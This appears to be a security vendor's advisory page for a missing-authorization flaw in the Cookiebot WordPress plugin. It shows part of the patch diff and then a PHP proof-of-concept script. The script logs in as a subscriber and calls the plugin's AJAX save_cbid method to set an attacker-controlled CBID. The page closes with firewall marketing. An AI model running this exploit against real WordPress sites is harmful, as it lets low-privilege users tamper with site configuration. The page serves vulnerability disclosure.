-				<div class="cb-main__dashboard__card">
-					<div class="cb-main__card__inner start_card">
-						<div class="cb-main__video">
+		<?php if ( $cbid ) : ?>
+			<?php include CYBOT_COOKIEBOT_PLUGIN_DIR . 'src/view/admin/common/templates/ppg-banner.php'; ?>
+		<?php endif; ?>
+
+		<div class="cb-main__dashboard__card--container">
+			<div class="cb-main__dashboard__card">
+				<div class="cb-main__card__inner start_card">
+					<div class="cb-main__video">
 							<iframe src="https://www.youtube.com/embed/1-lvuJa42P0"
 									title="Cookiebot WordPress Installation"
 									allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture"
--- a/cookiebot/src/view/admin/cb_frame/settings-page.php
+++ b/cookiebot/src/view/admin/cb_frame/settings-page.php
@@ -33,7 +33,7 @@
 $main_tabs = new Main_Tabs();

 // phpcs:ignore WordPress.Security.NonceVerification.Recommended
-$active_tab = ! empty( $_GET['tab'] ) ? $_GET['tab'] : false;
+$active_tab = ! empty( $_GET['tab'] ) ? sanitize_text_field( wp_unslash( $_GET['tab'] ) ) : false;

 $header->display();
 ?>
--- a/cookiebot/src/view/admin/common/dashboard-page-old.php
+++ b/cookiebot/src/view/admin/common/dashboard-page-old.php
@@ -52,9 +52,10 @@
 						</div>
 					</div>

-					<?php if ( ! empty( $template_args['cbid'] ) ) : ?>
+				<?php if ( ! empty( $template_args['cbid'] ) ) : ?>
+					<div class="cb-main__dashboard__card--row">
 						<div class="cb-main__dashboard__card">
-							<div class="cb-main__card__inner  <?php echo ! empty( $template_args['cbid'] ) ? 'start_card' : 'new_card'; ?>">
+							<div class="cb-main__card__inner bordered_card">
 								<h3 class="cb-main__card__subtitle">
 									<?php echo esc_html__( 'Your opinion matters', 'cookiebot' ); ?>
 								</h3>
@@ -67,24 +68,8 @@
 								</a>
 							</div>
 						</div>
-					<?php endif; ?>
-
-					<div class="cb-main__dashboard__card">
-						<div class="cb-main__card__inner  <?php echo ! empty( $template_args['cbid'] ) ? 'start_card' : 'new_card'; ?>">
-							<?php if ( empty( $template_args['cbid'] ) ) : ?>
-								<div class="cb-main__card__content">
-									<p class="cb-main__card__label">
-										<?php echo esc_html__( 'Get started', 'cookiebot' ); ?>
-									</p>
-									<h2 class="cb-main__card__title">
-										<?php echo esc_html__( 'Create a new Cookiebot CMP account', 'cookiebot' ); ?>
-									</h2>
-									<a href="https://admin.cookiebot.com/signup/?utm_source=wordpress&utm_medium=referral&utm_campaign=banner"
-										target="_blank" class="cb-btn cb-white-btn" rel="noopener">
-										<?php echo esc_html__( 'Create a new account', 'cookiebot' ); ?>
-									</a>
-								</div>
-							<?php else : ?>
+						<div class="cb-main__dashboard__card">
+							<div class="cb-main__card__inner bordered_card">
 								<h3 class="cb-main__card__subtitle">
 									<?php echo esc_html__( 'Learn more about how to optimize your Cookiebot CMP setup?', 'cookiebot' ); ?>
 								</h3>
@@ -92,16 +77,38 @@
 									rel="noopener">
 									<?php echo esc_html__( 'Visit Help Center', 'cookiebot' ); ?>
 								</a>
-							<?php endif; ?>
+							</div>
 						</div>
 					</div>
+				<?php else : ?>
+					<div class="cb-main__dashboard__card">
+						<div class="cb-main__card__inner new_card">
+							<div class="cb-main__card__content">
+								<p class="cb-main__card__label">
+									<?php echo esc_html__( 'Get started', 'cookiebot' ); ?>
+								</p>
+								<h2 class="cb-main__card__title">
+									<?php echo esc_html__( 'Create a new Cookiebot CMP account', 'cookiebot' ); ?>
+								</h2>
+								<a href="https://admin.cookiebot.com/signup/?utm_source=wordpress&utm_medium=referral&utm_campaign=banner"
+									target="_blank" class="cb-btn cb-white-btn" rel="noopener">
+									<?php echo esc_html__( 'Create a new account', 'cookiebot' ); ?>
+								</a>
+							</div>
+						</div>
+					</div>
+				<?php endif; ?>
 				</div>
 			</div>

-			<div class="cb-main__dashboard__card--container">
-				<div class="cb-main__dashboard__card">
-					<div class="cb-main__card__inner start_card">
-						<div class="cb-main__video">
+		<?php if ( ! empty( $template_args['cbid'] ) ) : ?>
+			<?php include __DIR__ . '/templates/ppg-banner.php'; ?>
+		<?php endif; ?>
+
+		<div class="cb-main__dashboard__card--container">
+			<div class="cb-main__dashboard__card">
+				<div class="cb-main__card__inner start_card">
+					<div class="cb-main__video">
 							<iframe src="https://www.youtube.com/embed/1-lvuJa42P0"
 									title="Cookiebot WordPress Installation"
 									allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture"
--- a/cookiebot/src/view/admin/common/ppg-page.php
+++ b/cookiebot/src/view/admin/common/ppg-page.php
@@ -0,0 +1,54 @@
+<?php
+/**
+ * @var string $hero_image
+ * @var bool   $is_installed
+ * @var bool   $is_active
+ */
+
+use cybotcookiebotsettingstemplatesHeader;
+use cybotcookiebotsettingstemplatesMain_Tabs;
+
+$header    = new Header();
+$main_tabs = new Main_Tabs();
+
+$header->display();
+?>
+<div class="cb-body">
+	<div class="cb-wrapper">
+		<?php $main_tabs->display( 'ppg' ); ?>
+		<div class="cb-main__content">
+			<h1 class="cb-ppg__page-title"><?php esc_html_e( 'Explore our plugins', 'cookiebot' ); ?></h1>
+
+			<div class="cb-ppg__divider"></div>
+
+			<div class="cb-ppg__plugin-container">
+				<div class="cb-ppg__plugin-header">
+					<h2 class="cb-ppg__plugin-name">
+						<?php esc_html_e( 'Usercentrics Privacy Policy Generator', 'cookiebot' ); ?>
+					</h2>
+					<div class="cb-ppg__plugin-actions">
+						<?php if ( $is_active ) : ?>
+							<span class="cb-btn cb-success-btn">
+								<?php esc_html_e( 'Active', 'cookiebot' ); ?>
+							</span>
+						<?php elseif ( $is_installed ) : ?>
+							<button type="button" id="cb-ppg-activate-btn" class="cb-btn cb-main-btn">
+								<?php esc_html_e( 'Activate', 'cookiebot' ); ?>
+							</button>
+						<?php else : ?>
+							<button type="button" id="cb-ppg-install-btn" class="cb-btn cb-main-btn">
+								<?php esc_html_e( 'Install Now', 'cookiebot' ); ?>
+							</button>
+						<?php endif; ?>
+					</div>
+				</div>
+
+				<div class="cb-ppg__hero">
+					<img src="<?php echo esc_url( $hero_image ); ?>"
+						alt="<?php esc_attr_e( 'Usercentrics Privacy Policy Generator - Generate your privacy policy in minutes', 'cookiebot' ); ?>"
+						class="cb-ppg__hero-image" />
+				</div>
+			</div>
+		</div>
+	</div>
+</div>
--- a/cookiebot/src/view/admin/common/settings-page.php
+++ b/cookiebot/src/view/admin/common/settings-page.php
@@ -15,7 +15,7 @@
 $main_tabs = new Main_Tabs();

 // phpcs:ignore WordPress.Security.NonceVerification.Recommended
-$active_tab = ! empty( $_GET['tab'] ) ? $_GET['tab'] : false;
+$active_tab = ! empty( $_GET['tab'] ) ? sanitize_text_field( wp_unslash( $_GET['tab'] ) ) : false;

 $header->display();
 ?>
--- a/cookiebot/src/view/admin/common/templates/main-tabs.php
+++ b/cookiebot/src/view/admin/common/templates/main-tabs.php
@@ -6,6 +6,7 @@
 use cybotcookiebotsettingspagesSettings_Page;
 use cybotcookiebotaddonsconfigSettings_Config;
 use cybotcookiebotsettingspagesSupport_Page;
+use cybotcookiebotsettingspagesPPG_Page;

 /**
  * @var string $active_tab
@@ -79,6 +80,17 @@
 		</div>
 	<?php endif; ?>

+	<div class="cb-main__tabs_separator"></div>
+
+	<div class="cb-main__tabs_item <?php echo $active_tab === 'ppg' ? 'active-item' : ''; ?>">
+		<a href="<?php echo esc_url( add_query_arg( 'page', PPG_Page::ADMIN_SLUG, admin_url( 'admin.php' ) ) ); ?>"
+			class="cb-main__tabs__link">
+			<div class="cb-main__tabs__icon plugins-icon"></div>
+			<span><?php esc_html_e( 'Policy Generator Plugin', 'cookiebot' ); ?></span>
+			<span class="cb-main__tabs__badge"><?php esc_html_e( 'NEW', 'cookiebot' ); ?></span>
+		</a>
+	</div>
+
 	<div class="cb-feedback_link">
 		<a href="<?php echo esc_url( $feedback_url ); ?>" target="_blank"><?php echo esc_html__( 'Help us improve', 'cookiebot' ); ?></a>
 	</div>
--- a/cookiebot/src/view/admin/common/templates/ppg-banner.php
+++ b/cookiebot/src/view/admin/common/templates/ppg-banner.php
@@ -0,0 +1,45 @@
+<?php
+/**
+ * Privacy Policy Generator (PPG) Banner Template
+ *
+ * Displays a promotional banner for the Privacy Policy Generator plugin.
+ * This template is designed to be included in the success state of dashboard pages.
+ *
+ * @package suspended
+ */
+
+defined( 'ABSPATH' ) || exit;
+
+$ppg_icon_url         = esc_url( CYBOT_COOKIEBOT_PLUGIN_URL . 'assets/img/icons/shield_icon.svg' );
+$utm_params           = '?utm_source=wordpress&utm_medium=content-distribution&utm_campaign=ppg-cross-promo&utm_content=install-now-banner';
+$ppg_integrations_url = 'https://usercentrics.com/integrations/privacy-policy-generator-wordpress/' . $utm_params;
+?>
+<div class="cb-ppg-section">
+	<h2 class="cb-ppg-section__title">
+		<?php echo esc_html__( 'Explore more plugins from Cookiebot', 'cookiebot' ); ?>
+	</h2>
+	<div class="cb-ppg-banner">
+		<div class="cb-ppg-banner__icon">
+			<img src="<?php echo esc_attr( $ppg_icon_url ); ?>"
+				alt="<?php echo esc_attr__( 'Privacy Policy Generator', 'cookiebot' ); ?>"
+				width="80"
+				height="80">
+		</div>
+		<div class="cb-ppg-banner__content">
+			<h3 class="cb-ppg-banner__headline">
+				<?php echo esc_html__( 'Generate your privacy policy in minutes', 'cookiebot' ); ?>
+			</h3>
+			<p class="cb-ppg-banner__description">
+				<?php echo esc_html__( 'Automatically create compliant privacy policies for your WordPress website.', 'cookiebot' ); ?>
+			</p>
+		</div>
+		<div class="cb-ppg-banner__cta">
+			<a href="<?php echo esc_url( $ppg_integrations_url ); ?>"
+				target="_blank"
+				class="cb-btn cb-ppg-btn cb-main-btn"
+				rel="noopener noreferrer">
+				<?php echo esc_html__( 'Install Now', 'cookiebot' ); ?>
+			</a>
+		</div>
+	</div>
+</div>
--- a/cookiebot/src/view/admin/uc_frame/dashboard-page.php
+++ b/cookiebot/src/view/admin/uc_frame/dashboard-page.php
@@ -41,9 +41,10 @@
 					</div>
 				</div>

-				<?php if ( $cbid ) : ?>
+			<?php if ( $cbid ) : ?>
+				<div class="cb-main__dashboard__card--row">
 					<div class="cb-main__dashboard__card">
-						<div class="cb-main__card__inner  <?php echo $cbid ? 'start_card' : 'new_card'; ?>">
+						<div class="cb-main__card__inner bordered_card">
 							<h3 class="cb-main__card__subtitle">
 								<?php echo esc_html__( 'Your opinion matters', 'cookiebot' ); ?>
 							</h3>
@@ -56,28 +57,30 @@
 							</a>
 						</div>
 					</div>
-
 					<div class="cb-main__dashboard__card">
-						<div class="cb-main__card__inner start_card">
-							<div class="cb-main__card--content">
-								<h3 class="cb-main__card__subtitle">
-									<?php echo esc_html__( 'How to set up Cookiebot by Usercentrics WordPress Plugin', 'cookiebot' ); ?>
-								</h3>
-								<a href="https://support.cookiebot.com/hc/en-us/articles/4408356523282-Getting-started"
-									target="_blank" class="cb-btn cb-link-btn" rel="noopener">
-									<?php echo esc_html__( 'Learn more', 'cookiebot' ); ?>
-								</a>
-							</div>
+						<div class="cb-main__card__inner bordered_card">
+							<h3 class="cb-main__card__subtitle">
+								<?php echo esc_html__( 'How to set up Cookiebot by Usercentrics WordPress Plugin', 'cookiebot' ); ?>
+							</h3>
+							<a href="https://support.cookiebot.com/hc/en-us/articles/4408356523282-Getting-started"
+								target="_blank" class="cb-btn cb-link-btn" rel="noopener">
+								<?php echo esc_html__( 'Learn more', 'cookiebot' ); ?>
+							</a>
 						</div>
 					</div>
-				<?php endif; ?>
+				</div>
+			<?php endif; ?>
 			</div>

-			<div class="cb-main__dashboard__card--container">
-				<div class="cb-main__dashboard__card">
-				</div>
-				<div class="cb-main__dashboard__card">
-					<div class="cb-main__card__inner legislations_card">
+		<?php if ( $cbid ) : ?>
+			<?php include CYBOT_COOKIEBOT_PLUGIN_DIR . 'src/view/admin/common/templates/ppg-banner.php'; ?>
+		<?php endif; ?>
+
+		<div class="cb-main__dashboard__card--container">
+			<div class="cb-main__dashboard__card">
+			</div>
+			<div class="cb-main__dashboard__card">
+				<div class="cb-main__card__inner legislations_card">
 						<div class="cb-main__legislation__item">
 							<div class="cb-main__legislation____icon">
 								<img src="<?php echo esc_html( $europe_icon ); ?>" alt="GDPR">
--- a/cookiebot/src/view/admin/uc_frame/settings-page.php
+++ b/cookiebot/src/view/admin/uc_frame/settings-page.php
@@ -33,7 +33,7 @@
 $main_tabs = new Main_Tabs();

 // phpcs:ignore WordPress.Security.NonceVerification.Recommended
-$active_tab = ! empty( $_GET['tab'] ) ? $_GET['tab'] : false;
+$active_tab = ! empty( $_GET['tab'] ) ? sanitize_text_field( wp_unslash( $_GET['tab'] ) ) : false;

 // Check if user was onboarded via signup
 $was_onboarded = Cookiebot_WP::was_onboarded_via_signup() && ! empty( Cookiebot_WP::get_auth_token() );
--- a/cookiebot/tests/integration/addons/Test_Custom_Facebook_Feed.php
+++ b/cookiebot/tests/integration/addons/Test_Custom_Facebook_Feed.php
@@ -19,7 +19,7 @@
 		$content = Custom_Facebook_Feed::get_svn_file_content( 'inc/Custom_Facebook_Feed.php' );

 		$this->assertNotFalse( strpos( $content, 'echo 'var cfflinkhashtags = "' . $cff_link_hashtags . '";';' ) );
-		$this->assertNotFalse( strpos( $content, 'wp_enqueue_script( 'cffscripts' );' ) );
-		$this->assertNotFalse( strpos( $content, 'add_action( 'wp_footer', [ self::$instance, 'cff_js' ] );' ) );
+		$this->assertNotFalse( strpos( $content, 'wp_enqueue_script('cffscripts');' ) );
+		$this->assertNotFalse( strpos( $content, 'add_action('wp_footer', [ self::$instance, 'cff_js' ]);' ) );
 	}
 }
--- a/cookiebot/tests/integration/addons/Test_Instagram_Feed.php
+++ b/cookiebot/tests/integration/addons/Test_Instagram_Feed.php
@@ -18,6 +18,6 @@
 	public function test_is_plugin_compatible() {
 		$content = Instagram_Feed::get_svn_file_content( 'inc/if-functions.php' );

-		$this->assertNotFalse( strpos( $content, 'add_action( 'wp_enqueue_scripts', 'sb_instagram_scripts_enqueue', 2 );' ) );
+		$this->assertNotFalse( strpos( $content, ''sb_instagram_scripts_enqueue'' ) );
 	}
 }
--- a/cookiebot/tests/integration/addons/Test_Official_Facebook_Pixel.php
+++ b/cookiebot/tests/integration/addons/Test_Official_Facebook_Pixel.php
@@ -24,7 +24,7 @@
 n.callMethod.apply(n,arguments):n.queue.push(arguments)};if(!f._fbq)f._fbq=n;
 n.push=n;n.loaded=!0;n.version='2.0';n.queue=[];t=b.createElement(e);t.async=!0;
 t.src=v;s=b.getElementsByTagName(e)[0];s.parentNode.insertBefore(t,s)}(window,
-document,'script','https://connect.facebook.net/en_US/fbevents.js?v=next');
+document,'script','https://connect.facebook.net/en_US/fbevents.js');
 </script>
 <!-- End Meta Pixel Code -->
 TEXT;
--- a/cookiebot/tests/integration/addons/Test_Wp_Seopress.php
+++ b/cookiebot/tests/integration/addons/Test_Wp_Seopress.php
@@ -19,6 +19,6 @@
 		$content = Wp_Seopress::get_svn_file_content( 'inc/functions/options-google-analytics.php' );

 		// test the content
-		$this->assertNotFalse( strpos( $content, "add_action('seopress_google_analytics_html', 'seopress_google_analytics_js', 10, 1);" ) );
+		$this->assertNotFalse( strpos( $content, "add_action( 'seopress_google_analytics_html', 'seopress_google_analytics_js', 10, 1 );" ) );
 	}
 }

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-25407 - Cookiebot by Usercentrics – Automatic Cookie Banner for GDPR/CCPA & Google Consent Mode <= 4.6.4 - Missing Authorization

<?php
/**
 * Proof of Concept for CVE-2026-25407
 * Requires valid WordPress subscriber credentials and a nonce
 * Demonstrates unauthorized CBID modification
 */

$target_url = 'https://vulnerable-site.com';
$username = 'subscriber';  // Valid subscriber username
$password = 'password';     // Valid subscriber password

// Step 1: Authenticate and obtain WordPress cookies
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);

// Step 2: Extract nonce from admin page (nonce is required for AJAX requests)
$admin_url = $target_url . '/wp-admin/admin.php?page=cookiebot';
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_POST, 0);
$admin_page = curl_exec($ch);

// Extract nonce from page (simplified - actual implementation would need proper regex)
// Nonce is typically in a script tag or data attribute
$nonce = 'extracted_nonce_here'; // Replace with actual extraction logic

// Step 3: Exploit missing authorization to modify CBID
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$exploit_data = array(
    'action' => 'cookiebot_account_service',
    'method' => 'save_cbid',
    'cbid' => 'ATTACKER-CONTROLLED-CBID',  // Malicious CBID value
    'nonce' => $nonce
);

curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_data));
$ajax_response = curl_exec($ch);

echo "Exploit Response: " . $ajax_response . "n";

// Step 4: Verify exploitation by checking if CBID was changed
$verify_data = array(
    'action' => 'cookiebot_account_service',
    'method' => 'get_cbid',
    'nonce' => $nonce
);

curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($verify_data));
$verify_response = curl_exec($ch);

echo "Verification Response: " . $verify_response . "n";

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School